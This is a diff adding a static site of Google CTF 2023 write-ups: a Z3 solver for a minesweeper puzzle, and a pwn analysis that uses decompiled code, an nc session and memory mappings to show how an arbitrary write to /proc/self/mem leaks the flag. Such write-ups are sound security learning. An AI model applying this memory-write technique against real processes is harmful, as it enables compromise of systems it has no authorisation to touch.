+    76: 'l',
+    77: 'm',
+    78: 'n',
+    79: 'o',
+    80: 'p',
+    81: 'q',
+    82: 'r',
+    83: 's',
+    84: 't',
+    85: 'u',
+    86: 'v',
+    87: 'w',
+    88: 'x',
+    89: 'y',
+    90: 'z',
+    91: 'Left Windows Key / Left ⌘',
+    92: 'Right Windows Key',
+    93: 'Windows Menu / Right ⌘',
+    96: 'numpad 0',
+    97: 'numpad 1',
+    98: 'numpad 2',
+    99: 'numpad 3',
+    100: 'numpad 4',
+    101: 'numpad 5',
+    102: 'numpad 6',
+    103: 'numpad 7',
+    104: 'numpad 8',
+    105: 'numpad 9',
+    106: 'multiply',
+    107: 'add',
+    109: 'subtract',
+    110: 'decimal point',
+    111: 'divide',
+    112: 'f1',
+    113: 'f2',
+    114: 'f3',
+    115: 'f4',
+    116: 'f5',
+    117: 'f6',
+    118: 'f7',
+    119: 'f8',
+    120: 'f9',
+    121: 'f10',
+    122: 'f11',
+    123: 'f12',
+    124: 'f13',
+    125: 'f14',
+    126: 'f15',
+    127: 'f16',
+    128: 'f17',
+    129: 'f18',
+    130: 'f19',
+    131: 'f20',
+    132: 'f21',
+    133: 'f22',
+    134: 'f23',
+    135: 'f24',
+    144: 'num lock',
+    145: 'scroll lock',
+    186: '&semi;',
+    187: '&equals;',
+    188: '&comma;',
+    189: '&hyphen;',
+    190: '&period;',
+    191: '&quest;',
+    192: '&grave;',
+    219: '&lsqb;',
+    220: '&bsol;',
+    221: '&rsqb;',
+    222: '&apos;',
+};

Разница между файлами не показана из-за своего большого размера
+ 7 - 0
site/js/bootstrap.min.js


Разница между файлами не показана из-за своего большого размера
+ 6 - 0
site/js/jquery-1.10.2.min.js


+ 271 - 0
site/mind-the-gap/index.html

@@ -0,0 +1,271 @@
+<!DOCTYPE html>
+<html lang="en">
+    <head>
+        <meta charset="utf-8">
+        <meta http-equiv="X-UA-Compatible" content="IE=edge">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0">
+        
+        
+        <link rel="canonical" href="http://127.0.0.1/mind-the-gap/">
+        <link rel="shortcut icon" href="../img/favicon.ico">
+        <title>Mind the gap - Google CTF 2023 | Retrospective</title>
+        <link href="../css/bootstrap.min.css" rel="stylesheet">
+        <link href="../css/font-awesome.min.css" rel="stylesheet">
+        <link href="../css/base.css" rel="stylesheet">
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/styles/github.min.css">
+
+        <script src="../js/jquery-1.10.2.min.js" defer></script>
+        <script src="../js/bootstrap.min.js" defer></script>
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/highlight.min.js"></script>
+        <script>hljs.initHighlightingOnLoad();</script> 
+    </head>
+
+    <body>
+        <div class="navbar fixed-top navbar-expand-lg navbar-dark bg-primary">
+            <div class="container">
+                <a class="navbar-brand" href="..">Google CTF 2023 | Retrospective</a>
+                <!-- Expander button -->
+                <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbar-collapse">
+                    <span class="navbar-toggler-icon"></span>
+                </button>
+
+                <!-- Expanded navigation -->
+                <div id="navbar-collapse" class="navbar-collapse collapse">
+                        <!-- Main navigation -->
+                        <ul class="nav navbar-nav">
+                            <li class="navitem">
+                                <a href=".." class="nav-link">Home</a>
+                            </li>
+                            <li class="dropdown active">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">misc <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="./" class="dropdown-item active">Mind the gap</a>
+</li>
+                                </ul>
+                            </li>
+                            <li class="dropdown">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">pwn <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="../write-flag-where/" class="dropdown-item">Write flag where</a>
+</li>
+                                </ul>
+                            </li>
+                        </ul>
+
+                    <ul class="nav navbar-nav ml-auto">
+                        <li class="nav-item">
+                            <a href="#" class="nav-link" data-toggle="modal" data-target="#mkdocs_search_modal">
+                                <i class="fa fa-search"></i> Search
+                            </a>
+                        </li>
+                            <li class="nav-item">
+                                <a rel="prev" href=".." class="nav-link">
+                                    <i class="fa fa-arrow-left"></i> Previous
+                                </a>
+                            </li>
+                            <li class="nav-item">
+                                <a rel="next" href="../write-flag-where/" class="nav-link">
+                                    Next <i class="fa fa-arrow-right"></i>
+                                </a>
+                            </li>
+                    </ul>
+                </div>
+            </div>
+        </div>
+
+        <div class="container">
+            <div class="row">
+                    <div class="col-md-3"><div class="navbar-light navbar-expand-md bs-sidebar hidden-print affix" role="complementary">
+    <div class="navbar-header">
+        <button type="button" class="navbar-toggler collapsed" data-toggle="collapse" data-target="#toc-collapse" title="Table of Contents">
+            <span class="fa fa-angle-down"></span>
+        </button>
+    </div>
+
+    
+    <div id="toc-collapse" class="navbar-collapse collapse card bg-secondary">
+        <ul class="nav flex-column">
+            
+            <li class="nav-item" data-level="1"><a href="#mind-the-gap" class="nav-link">Mind the gap</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+        </ul>
+    </div>
+</div></div>
+                    <div class="col-md-9" role="main">
+
+<h1 id="mind-the-gap">Mind the gap</h1>
+<p>You are given a script <code>minesweeper.py</code> and text file <code>gameboard.txt</code>. Invoking the python script requires <code>pygame</code> to be installed.</p>
+<pre><code>pip install pygame
+</code></pre>
+<p>It takes several seconds to load. After loading we get a minesweeper game</p>
+<p><img alt="minesweeper" src="../images/mine-the-gap.png" /></p>
+<p>Inspect the script and search for CTF / FLAG etc.</p>
+<p>We see this part of the code</p>
+<pre><code class="language-python">    if len(violations) == 0:
+        bits = []
+        for x in range(GRID_WIDTH):
+            bit = 1 if validate_grid[23][x].state in [10, 11] else 0
+            bits.append(bit)
+        flag = hashlib.sha256(bytes(bits)).hexdigest()
+        print(f'Flag: CTF{{{flag}}}')
+
+    else:
+        print(violations)
+</code></pre>
+<p>Basically we need to solve it, and the we will be able to reconstruct the flag from the solution.</p>
+<p>Inspect <code>gameboard.txt</code> -- it looks like the board in a simple text format.</p>
+<p>The board seems very structured. It looks like putting one mine will collapse a lot of other cells, but not all.</p>
+<pre><code class="language-bash">❯ wc gameboard.txt
+    1631  198991 5876831 gameboard.txt
+</code></pre>
+<p>The board is 1600 x 3600 cels. It is huge. It is not possible to solve it by hand.</p>
+<p>We need to solve the board with code.</p>
+<p>Idea 1 use backtracking, and pray to be fast enough.</p>
+<p>Idea 2 skip backtracking and use SAT solver (Z3). This is what we did.</p>
+<p>With Z3 we can create variables and create constraints on the values they can get, then ask for a solution. If there is a solution, Z3 will give us the values for the variables. Z3 will find a solution in a reasonable™️ time.</p>
+<p>Check the code to generate the solution. With the solution we can easily generate the flag by using the code from the game.</p>
+<pre><code class="language-python">import z3
+
+with open('gameboard.txt') as f:
+    data = f.read().split('\n')
+
+
+rows = len(data)
+cols = len(data[0])
+print(rows, cols, flush=True)
+
+solver = z3.Solver()
+
+vars = {}
+
+def get_var(i, j):
+    assert data[i][j] == '9'
+    if (i, j) not in vars:
+        vars[i, j] = z3.Int(f'var_{i}_{j}')
+        solver.add(0 &lt;= vars[i, j])
+        solver.add(vars[i, j] &lt;= 1)
+    return vars[i, j]
+
+
+for i in range(rows):
+    for j in range(cols):
+        if data[i][j] in '12345678':
+            flags_on = 0
+            pending = []
+
+            for dx in [-1, 0, 1]:
+                for dy in [-1, 0, 1]:
+                    if dx == 0 and dy == 0:
+                        continue
+
+                    nx = i + dx
+                    ny = j + dy
+
+                    if 0 &lt;= nx &lt; rows and 0 &lt;= ny &lt; cols:
+                        if data[nx][ny] == 'B':
+                            flags_on += 1
+                        elif data[nx][ny] == '9':
+                            pending.append(get_var(nx, ny))
+
+            if not pending:
+                continue
+
+            solver.add(z3.Sum(pending) + flags_on == int(data[i][j]))
+
+print(len(vars))
+
+for i in range(rows):
+    for j in range(cols):
+        if data[i][j] == '9':
+            assert (i, j) in vars
+
+print(&quot;Solving...&quot;)
+print(solver.check())
+
+for (i, j), v in vars.items():
+    if solver.model()[v] == 1:
+        print(i, j)
+</code></pre></div>
+            </div>
+        </div>
+
+        <footer class="col-md-12">
+            <hr>
+            <p>Documentation built with <a href="https://www.mkdocs.org/">MkDocs</a>.</p>
+        </footer>
+        <script>
+            var base_url = "..",
+                shortcuts = {"help": 191, "next": 78, "previous": 80, "search": 83};
+        </script>
+        <script src="../js/base.js" defer></script>
+        <script src="../search/main.js" defer></script>
+
+        <div class="modal" id="mkdocs_search_modal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
+    <div class="modal-dialog modal-lg">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="searchModalLabel">Search</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+                <p>From here you can search these documents. Enter your search terms below.</p>
+                <form>
+                    <div class="form-group">
+                        <input type="search" class="form-control" placeholder="Search..." id="mkdocs-search-query" title="Type search term here">
+                    </div>
+                </form>
+                <div id="mkdocs-search-results" data-no-results-text="No results found"></div>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div><div class="modal" id="mkdocs_keyboard_modal" tabindex="-1" role="dialog" aria-labelledby="keyboardModalLabel" aria-hidden="true">
+    <div class="modal-dialog">
+        <div class="modal-content">
+            <div class="modal-header">
+                <h4 class="modal-title" id="keyboardModalLabel">Keyboard Shortcuts</h4>
+                <button type="button" class="close" data-dismiss="modal"><span aria-hidden="true">&times;</span><span class="sr-only">Close</span></button>
+            </div>
+            <div class="modal-body">
+              <table class="table">
+                <thead>
+                  <tr>
+                    <th style="width: 20%;">Keys</th>
+                    <th>Action</th>
+                  </tr>
+                </thead>
+                <tbody>
+                  <tr>
+                    <td class="help shortcut"><kbd>?</kbd></td>
+                    <td>Open this help</td>
+                  </tr>
+                  <tr>
+                    <td class="next shortcut"><kbd>n</kbd></td>
+                    <td>Next page</td>
+                  </tr>
+                  <tr>
+                    <td class="prev shortcut"><kbd>p</kbd></td>
+                    <td>Previous page</td>
+                  </tr>
+                  <tr>
+                    <td class="search shortcut"><kbd>s</kbd></td>
+                    <td>Search</td>
+                  </tr>
+                </tbody>
+              </table>
+            </div>
+            <div class="modal-footer">
+            </div>
+        </div>
+    </div>
+</div>
+
+    </body>
+</html>

Разница между файлами не показана из-за своего большого размера
+ 3475 - 0
site/search/lunr.js


+ 109 - 0
site/search/main.js

@@ -0,0 +1,109 @@
+function getSearchTermFromLocation() {
+  var sPageURL = window.location.search.substring(1);
+  var sURLVariables = sPageURL.split('&');
+  for (var i = 0; i < sURLVariables.length; i++) {
+    var sParameterName = sURLVariables[i].split('=');
+    if (sParameterName[0] == 'q') {
+      return decodeURIComponent(sParameterName[1].replace(/\+/g, '%20'));
+    }
+  }
+}
+
+function joinUrl (base, path) {
+  if (path.substring(0, 1) === "/") {
+    // path starts with `/`. Thus it is absolute.
+    return path;
+  }
+  if (base.substring(base.length-1) === "/") {
+    // base ends with `/`
+    return base + path;
+  }
+  return base + "/" + path;
+}
+
+function escapeHtml (value) {
+  return value.replace(/&/g, '&amp;')
+    .replace(/"/g, '&quot;')
+    .replace(/</g, '&lt;')
+    .replace(/>/g, '&gt;');
+}
+
+function formatResult (location, title, summary) {
+  return '<article><h3><a href="' + joinUrl(base_url, location) + '">'+ escapeHtml(title) + '</a></h3><p>' + escapeHtml(summary) +'</p></article>';
+}
+
+function displayResults (results) {
+  var search_results = document.getElementById("mkdocs-search-results");
+  while (search_results.firstChild) {
+    search_results.removeChild(search_results.firstChild);
+  }
+  if (results.length > 0){
+    for (var i=0; i < results.length; i++){
+      var result = results[i];
+      var html = formatResult(result.location, result.title, result.summary);
+      search_results.insertAdjacentHTML('beforeend', html);
+    }
+  } else {
+    var noResultsText = search_results.getAttribute('data-no-results-text');
+    if (!noResultsText) {
+      noResultsText = "No results found";
+    }
+    search_results.insertAdjacentHTML('beforeend', '<p>' + noResultsText + '</p>');
+  }
+}
+
+function doSearch () {
+  var query = document.getElementById('mkdocs-search-query').value;
+  if (query.length > min_search_length) {
+    if (!window.Worker) {
+      displayResults(search(query));
+    } else {
+      searchWorker.postMessage({query: query});
+    }
+  } else {
+    // Clear results for short queries
+    displayResults([]);
+  }
+}
+
+function initSearch () {
+  var search_input = document.getElementById('mkdocs-search-query');
+  if (search_input) {
+    search_input.addEventListener("keyup", doSearch);
+  }
+  var term = getSearchTermFromLocation();
+  if (term) {
+    search_input.value = term;
+    doSearch();
+  }
+}
+
+function onWorkerMessage (e) {
+  if (e.data.allowSearch) {
+    initSearch();
+  } else if (e.data.results) {
+    var results = e.data.results;
+    displayResults(results);
+  } else if (e.data.config) {
+    min_search_length = e.data.config.min_search_length-1;
+  }
+}
+
+if (!window.Worker) {
+  console.log('Web Worker API not supported');
+  // load index in main thread
+  $.getScript(joinUrl(base_url, "search/worker.js")).done(function () {
+    console.log('Loaded worker');
+    init();
+    window.postMessage = function (msg) {
+      onWorkerMessage({data: msg});
+    };
+  }).fail(function (jqxhr, settings, exception) {
+    console.error('Could not load worker.js');
+  });
+} else {
+  // Wrap search in a web worker
+  var searchWorker = new Worker(joinUrl(base_url, "search/worker.js"));
+  searchWorker.postMessage({init: true});
+  searchWorker.onmessage = onWorkerMessage;
+}

Разница между файлами не показана из-за своего большого размера
+ 1 - 0
site/search/search_index.json


+ 133 - 0
site/search/worker.js

@@ -0,0 +1,133 @@
+var base_path = 'function' === typeof importScripts ? '.' : '/search/';
+var allowSearch = false;
+var index;
+var documents = {};
+var lang = ['en'];
+var data;
+
+function getScript(script, callback) {
+  console.log('Loading script: ' + script);
+  $.getScript(base_path + script).done(function () {
+    callback();
+  }).fail(function (jqxhr, settings, exception) {
+    console.log('Error: ' + exception);
+  });
+}
+
+function getScriptsInOrder(scripts, callback) {
+  if (scripts.length === 0) {
+    callback();
+    return;
+  }
+  getScript(scripts[0], function() {
+    getScriptsInOrder(scripts.slice(1), callback);
+  });
+}
+
+function loadScripts(urls, callback) {
+  if( 'function' === typeof importScripts ) {
+    importScripts.apply(null, urls);
+    callback();
+  } else {
+    getScriptsInOrder(urls, callback);
+  }
+}
+
+function onJSONLoaded () {
+  data = JSON.parse(this.responseText);
+  var scriptsToLoad = ['lunr.js'];
+  if (data.config && data.config.lang && data.config.lang.length) {
+    lang = data.config.lang;
+  }
+  if (lang.length > 1 || lang[0] !== "en") {
+    scriptsToLoad.push('lunr.stemmer.support.js');
+    if (lang.length > 1) {
+      scriptsToLoad.push('lunr.multi.js');
+    }
+    if (lang.includes("ja") || lang.includes("jp")) {
+      scriptsToLoad.push('tinyseg.js');
+    }
+    for (var i=0; i < lang.length; i++) {
+      if (lang[i] != 'en') {
+        scriptsToLoad.push(['lunr', lang[i], 'js'].join('.'));
+      }
+    }
+  }
+  loadScripts(scriptsToLoad, onScriptsLoaded);
+}
+
+function onScriptsLoaded () {
+  console.log('All search scripts loaded, building Lunr index...');
+  if (data.config && data.config.separator && data.config.separator.length) {
+    lunr.tokenizer.separator = new RegExp(data.config.separator);
+  }
+
+  if (data.index) {
+    index = lunr.Index.load(data.index);
+    data.docs.forEach(function (doc) {
+      documents[doc.location] = doc;
+    });
+    console.log('Lunr pre-built index loaded, search ready');
+  } else {
+    index = lunr(function () {
+      if (lang.length === 1 && lang[0] !== "en" && lunr[lang[0]]) {
+        this.use(lunr[lang[0]]);
+      } else if (lang.length > 1) {
+        this.use(lunr.multiLanguage.apply(null, lang));  // spread operator not supported in all browsers: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator#Browser_compatibility
+      }
+      this.field('title');
+      this.field('text');
+      this.ref('location');
+
+      for (var i=0; i < data.docs.length; i++) {
+        var doc = data.docs[i];
+        this.add(doc);
+        documents[doc.location] = doc;
+      }
+    });
+    console.log('Lunr index built, search ready');
+  }
+  allowSearch = true;
+  postMessage({config: data.config});
+  postMessage({allowSearch: allowSearch});
+}
+
+function init () {
+  var oReq = new XMLHttpRequest();
+  oReq.addEventListener("load", onJSONLoaded);
+  var index_path = base_path + '/search_index.json';
+  if( 'function' === typeof importScripts ){
+      index_path = 'search_index.json';
+  }
+  oReq.open("GET", index_path);
+  oReq.send();
+}
+
+function search (query) {
+  if (!allowSearch) {
+    console.error('Assets for search still loading');
+    return;
+  }
+
+  var resultDocuments = [];
+  var results = index.search(query);
+  for (var i=0; i < results.length; i++){
+    var result = results[i];
+    doc = documents[result.ref];
+    doc.summary = doc.text.substring(0, 200);
+    resultDocuments.push(doc);
+  }
+  return resultDocuments;
+}
+
+if( 'function' === typeof importScripts ) {
+  onmessage = function (e) {
+    if (e.data.init) {
+      init();
+    } else if (e.data.query) {
+      postMessage({ results: search(e.data.query) });
+    } else {
+      console.error("Worker - Unrecognized message: " + e);
+    }
+  };
+}

+ 18 - 0
site/sitemap.xml

@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
+    <url>
+         <loc>http://127.0.0.1/</loc>
+         <lastmod>2023-06-28</lastmod>
+         <changefreq>daily</changefreq>
+    </url>
+    <url>
+         <loc>http://127.0.0.1/mind-the-gap/</loc>
+         <lastmod>2023-06-28</lastmod>
+         <changefreq>daily</changefreq>
+    </url>
+    <url>
+         <loc>http://127.0.0.1/write-flag-where/</loc>
+         <lastmod>2023-06-28</lastmod>
+         <changefreq>daily</changefreq>
+    </url>
+</urlset>

BIN
site/sitemap.xml.gz


+ 412 - 0
site/write-flag-where/index.html

@@ -0,0 +1,412 @@
+<!DOCTYPE html>
+<html lang="en">
+    <head>
+        <meta charset="utf-8">
+        <meta http-equiv="X-UA-Compatible" content="IE=edge">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0">
+        
+        
+        <link rel="canonical" href="http://127.0.0.1/write-flag-where/">
+        <link rel="shortcut icon" href="../img/favicon.ico">
+        <title>Write flag where - Google CTF 2023 | Retrospective</title>
+        <link href="../css/bootstrap.min.css" rel="stylesheet">
+        <link href="../css/font-awesome.min.css" rel="stylesheet">
+        <link href="../css/base.css" rel="stylesheet">
+        <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/styles/github.min.css">
+
+        <script src="../js/jquery-1.10.2.min.js" defer></script>
+        <script src="../js/bootstrap.min.js" defer></script>
+        <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.5.0/highlight.min.js"></script>
+        <script>hljs.initHighlightingOnLoad();</script> 
+    </head>
+
+    <body>
+        <div class="navbar fixed-top navbar-expand-lg navbar-dark bg-primary">
+            <div class="container">
+                <a class="navbar-brand" href="..">Google CTF 2023 | Retrospective</a>
+                <!-- Expander button -->
+                <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbar-collapse">
+                    <span class="navbar-toggler-icon"></span>
+                </button>
+
+                <!-- Expanded navigation -->
+                <div id="navbar-collapse" class="navbar-collapse collapse">
+                        <!-- Main navigation -->
+                        <ul class="nav navbar-nav">
+                            <li class="navitem">
+                                <a href=".." class="nav-link">Home</a>
+                            </li>
+                            <li class="dropdown">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">misc <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="../mind-the-gap/" class="dropdown-item">Mind the gap</a>
+</li>
+                                </ul>
+                            </li>
+                            <li class="dropdown active">
+                                <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">pwn <b class="caret"></b></a>
+                                <ul class="dropdown-menu">
+                                    
+<li>
+    <a href="./" class="dropdown-item active">Write flag where</a>
+</li>
+                                </ul>
+                            </li>
+                        </ul>
+
+                    <ul class="nav navbar-nav ml-auto">
+                        <li class="nav-item">
+                            <a href="#" class="nav-link" data-toggle="modal" data-target="#mkdocs_search_modal">
+                                <i class="fa fa-search"></i> Search
+                            </a>
+                        </li>
+                            <li class="nav-item">
+                                <a rel="prev" href="../mind-the-gap/" class="nav-link">
+                                    <i class="fa fa-arrow-left"></i> Previous
+                                </a>
+                            </li>
+                            <li class="nav-item">
+                                <a rel="next" class="nav-link disabled">
+                                    Next <i class="fa fa-arrow-right"></i>
+                                </a>
+                            </li>
+                    </ul>
+                </div>
+            </div>
+        </div>
+
+        <div class="container">
+            <div class="row">
+                    <div class="col-md-3"><div class="navbar-light navbar-expand-md bs-sidebar hidden-print affix" role="complementary">
+    <div class="navbar-header">
+        <button type="button" class="navbar-toggler collapsed" data-toggle="collapse" data-target="#toc-collapse" title="Table of Contents">
+            <span class="fa fa-angle-down"></span>
+        </button>
+    </div>
+
+    
+    <div id="toc-collapse" class="navbar-collapse collapse card bg-secondary">
+        <ul class="nav flex-column">
+            
+            <li class="nav-item" data-level="1"><a href="#write-flag-where" class="nav-link">WRITE FLAG WHERE</a>
+              <ul class="nav flex-column">
+            <li class="nav-item" data-level="2"><a href="#part-1" class="nav-link">Part 1</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+            <li class="nav-item" data-level="2"><a href="#part-2" class="nav-link">Part 2</a>
+              <ul class="nav flex-column">
+              </ul>
+            </li>
+              </ul>
+            </li>
+        </ul>
+    </div>
+</div></div>
+                    <div class="col-md-9" role="main">
+
+<h1 id="write-flag-where">WRITE FLAG WHERE</h1>
+<p>This challenges had three parts with increasing difficulty. During competition we solved up to part 2. The solution to part 2 uses a very nice trick that was not the intended solution.</p>
+<h2 id="part-1">Part 1</h2>
+<p>In this problem you are given a binary <code>chal</code> with a library <code>libc.so.6</code>.</p>
+<pre><code>❯ file chal
+chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=325b22ba12d76ae327d8eb123e929cece1743e1e, for GNU/Linux 3.2.0, not stripped
+
+❯ file libc.so.6
+libc.so.6: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=69389d485a9793dbe873f0ea2c93e02efaa9aa3d, for GNU/Linux 3.2.0, stripped
+</code></pre>
+<p>Ok, this is an ELF binary, dynamically linked, we can run it on Linux.</p>
+<p>We are also given a server we can connect to:</p>
+<pre><code>nc wfw1.2023.ctfcompetition.com 1337
+
+This challenge is not a classical pwn
+In order to solve it will take skills of your own
+An excellent primitive you get for free
+Choose an address and I will write what I see
+But the author is cursed or perhaps it's just out of spite
+For the flag that you seek is the thing you will write
+ASLR isn't the challenge so I'll tell you what
+I'll give you my mappings so that you'll have a shot.
+5626cbcd7000-5626cbcd8000 r--p 00000000 00:11e 810424                    /home/user/chal
+5626cbcd8000-5626cbcd9000 r-xp 00001000 00:11e 810424                    /home/user/chal
+5626cbcd9000-5626cbcda000 r--p 00002000 00:11e 810424                    /home/user/chal
+5626cbcda000-5626cbcdb000 r--p 00002000 00:11e 810424                    /home/user/chal
+5626cbcdb000-5626cbcdc000 rw-p 00003000 00:11e 810424                    /home/user/chal
+5626cbcdc000-5626cbcdd000 rw-p 00000000 00:00 0
+7f4d9e838000-7f4d9e83b000 rw-p 00000000 00:00 0
+7f4d9e83b000-7f4d9e863000 r--p 00000000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+7f4d9e863000-7f4d9e9f8000 r-xp 00028000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+7f4d9e9f8000-7f4d9ea50000 r--p 001bd000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+7f4d9ea50000-7f4d9ea54000 r--p 00214000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+7f4d9ea54000-7f4d9ea56000 rw-p 00218000 00:11e 811203                    /usr/lib/x86_64-linux-gnu/libc.so.6
+7f4d9ea56000-7f4d9ea63000 rw-p 00000000 00:00 0
+7f4d9ea65000-7f4d9ea67000 rw-p 00000000 00:00 0
+7f4d9ea67000-7f4d9ea69000 r--p 00000000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+7f4d9ea69000-7f4d9ea93000 r-xp 00002000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+7f4d9ea93000-7f4d9ea9e000 r--p 0002c000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+7f4d9ea9f000-7f4d9eaa1000 r--p 00037000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+7f4d9eaa1000-7f4d9eaa3000 rw-p 00039000 00:11e 811185                    /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
+7ffe76706000-7ffe76727000 rw-p 00000000 00:00 0                          [stack]
+7ffe767e9000-7ffe767ed000 r--p 00000000 00:00 0                          [vvar]
+7ffe767ed000-7ffe767ef000 r-xp 00000000 00:00 0                          [vdso]
+ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
+
+
+Give me an address and a length just so:
+&lt;address&gt; &lt;length&gt;
+And I'll write it wherever you want it to go.
+If an exit is all that you desire
+Send me nothing and I will happily expire
+</code></pre>
+<p>Nice poem, it probably describes the functionality. In hindsight is obvious that it exactly describes its functionality (let's get there in a moment).</p>
+<p>We tried interacting with the server. After few attempts we figured out that passing something like they said (<code>&lt;address&gt; &lt;length&gt;</code>) where <code>address</code> is a hexadecimal string starting with <code>0x</code> would work (i.e the server wouldn't immediately close).</p>
+<p>Let's see inside the binary with Ghidra:</p>
+<p><img alt="" src="../images/where-1.png" /></p>
+<p>It takes some time to parse the code, and we see some weird artifacts like <code>undefined8</code> but other than that is pretty readable C code (like as much as you can expect from a decompiler and C code combination).</p>
+<p>In particular we see they are loading the flag from <code>flags.txt</code>, that is something that exist on the server, and its content is what we are looking for.</p>
+<p>The flag is read to <code>flag</code> variable in this code.</p>
+<p>The last part of the code seems interesting:</p>
+<pre><code class="language-c">sVar2 = read(local_14,&amp;local_78,0x40);
+local_1c = (undefined4)sVar2;
+iVar1 = __isoc99_sscanf(&amp;local_78,&quot;0x%llx %u&quot;,&amp;local_28,&amp;local_2c);
+if ((iVar1 != 2) || (0x7f &lt; local_2c)) break;
+local_20 = open(&quot;/proc/self/mem&quot;,2);
+lseek64(local_20,local_28,0);
+write(local_20,flag,(ulong)local_2c);
+close(local_20);
+</code></pre>
+<p>Tip: In Ghidra you can rename variables or functions to make the code more readable. I haven't found a way to collapse blocks of code, that would be nice.</p>
+<p>Line by line what is happening:</p>
+<ul>
+<li>Read 0x40 (4 * 16 = 64) bytes from <code>local_14</code> file descriptor (i.e potentially stdin) to <code>local_78</code> buffer.</li>
+<li>...</li>
+<li>Parse this string as 0x%llx %u (i.e. 0x followed by hexadecimal number followed by a space and a decimal number). Store those numbers in <code>local_28</code> and <code>local_2c</code>.</li>
+<li>break if the amount of parsed elements is different from 2, or local2c is greater than 0x7f (127).</li>
+<li>Open <code>/proc/self/mem</code> (i.e. the memory of the current process) in write mode. O_O this seems dangerous.</li>
+<li>Seek to <code>local_28</code> (i.e. the address we passed to the server).</li>
+<li>Write the flag to the address we passed, with length <code>local_2c</code>.</li>
+<li>Close the file descriptor.</li>
+</ul>
+<p>Ok, this is great. We can write the flag to any address we want.</p>
+<p>We need to write it to some place where it will be printed.</p>
+<p>There is a loop, and the loop starts printing some instructions: <code>Give me an address and a length just so:...</code></p>
+<p>Let's try to write the flag there. How?</p>
+<p>Double clicking the text in Ghidra will show exactly where it is in the binary:</p>
+<p><img alt="" src="../images/where-1-text-address.png" /></p>
+<p>Now this address is relative to the binary, but we need to find where it is in memory. We do know that this text is stored in the <code>.rodata</code> section, and this section is mapped to an specific address in memory.</p>
+<p><img alt="" src="../images/where-1-rodata.png" /></p>
+<p>Fortunately we are given another hint:</p>
+<pre><code>ASLR isn't the challenge so I'll tell you what
+I'll give you my mappings so that you'll have a shot.
+</code></pre>
+<p>And they actually provide the mappings of the running binary in real time:
+This is the code that does that:</p>
+<pre><code class="language-c">    local_c = open(&quot;/proc/self/maps&quot;,0);
+    read(local_c,maps,0x1000);
+    close(local_c);
+    // ...
+    dprintf(local_14,&quot;%s\n\n&quot;,maps);
+</code></pre>
+<p>The first five sections are the ones about the binary itself:</p>
+<pre><code>5626cbcd7000-5626cbcd8000 r--p 00000000 00:11e 810424                    /home/user/chal
+5626cbcd8000-5626cbcd9000 r-xp 00001000 00:11e 810424                    /home/user/chal
+5626cbcd9000-5626cbcda000 r--p 00002000 00:11e 810424                    /home/user/chal
+5626cbcda000-5626cbcdb000 r--p 00002000 00:11e 810424                    /home/user/chal
+5626cbcdb000-5626cbcdc000 rw-p 00003000 00:11e 810424                    /home/user/chal
+</code></pre>
+<p>The second column will show the mode of the section <code>w</code> means you can write, <code>x</code> means you can execute.</p>
+<p>With some trial and error we found that the third section was the one with <code>.rodata</code></p>
+<p>With basic arithmetic we computed where was the address with respect to the beginning of <code>.rodata</code>, and given we know the actual beginning of <code>.rodata</code> from the printed mappings, we knew where was the string address in memory. We wrote the flag there, and we got the flag in the next iteration of the loop.</p>
+<h2 id="part-2">Part 2</h2>
+<p>Second challenge looks pretty much the same, but right now there is no string in the loop. We can't use the solution to the previous part.</p>
+<p>There are still few strings where we can write the flag to.</p>
+<p>We can overwrite the code itself, yikes.</p>
+<p>We got some time analyzing this problem and we found out something new &amp; problematic:</p>
+<pre><code class="language-c">local_14 = dup2(1,0x39);
+local_18 = open(&quot;/dev/null&quot;,2);
+dup2(local_18,0);
+dup2(local_18,1);
+dup2(local_18,2);
+close(local_18);
+alarm(0x3c);
+</code></pre>
